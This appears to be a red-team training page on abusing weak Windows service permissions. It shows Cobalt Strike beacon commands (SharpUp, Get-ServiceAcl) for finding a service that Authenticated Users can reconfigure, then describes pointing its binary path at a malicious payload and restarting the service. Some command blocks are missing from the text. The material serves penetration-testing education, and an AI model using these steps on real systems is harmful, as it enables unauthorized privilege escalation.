Weak Service Permissions
This output from SharpUp shows that VulnService2 is "modifiable".
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices
=== Modifiable Services ===
Service 'VulnService2' (State: Running, StartMode: Auto)\
However, it doesn't show exactly what the permissions are, so we need to dig a little deeper. This PowerShell script will print which service rights we have.
beacon> powershell-import C:\Tools\Get-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access
ServiceRights : ChangeConfig, Start, Stop
AccessControlType : AccessAllowed
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited : False
InheritanceFlags : None
PropagationFlags : None\
We can see that all Authenticated Users have ChangeConfig, Start and Stop privileges over this service. We can abuse these weak permissions by changing the binary path of the service - so instead of it running C:\Program Files\Vulnerable Services\Service 2.exe, we can have it run something like C:\Temp\payload.exe.
First - validate that the current path is "C:\Program Files\Vulnerable Services\Service 2.exe" (also note that the path is quoted).
\
Next, upload a service binary payload and reconfigure the binary path on the vulnerable service.
\
The space after binPath= is intentional as this is how it's documented in sc's help documentation.
\
Validate that the path has indeed been updated.
\
Because the service is currently running (as can be seen with sc query VulnService2), we must stop and then start the service to execute our malicious binary.
\
To restore the previous binary path:
The additional set of escaped quotes is necessary to ensure that the path remains fully quoted, otherwise you could introduce a new unquoted service path vulnerability.
Last updated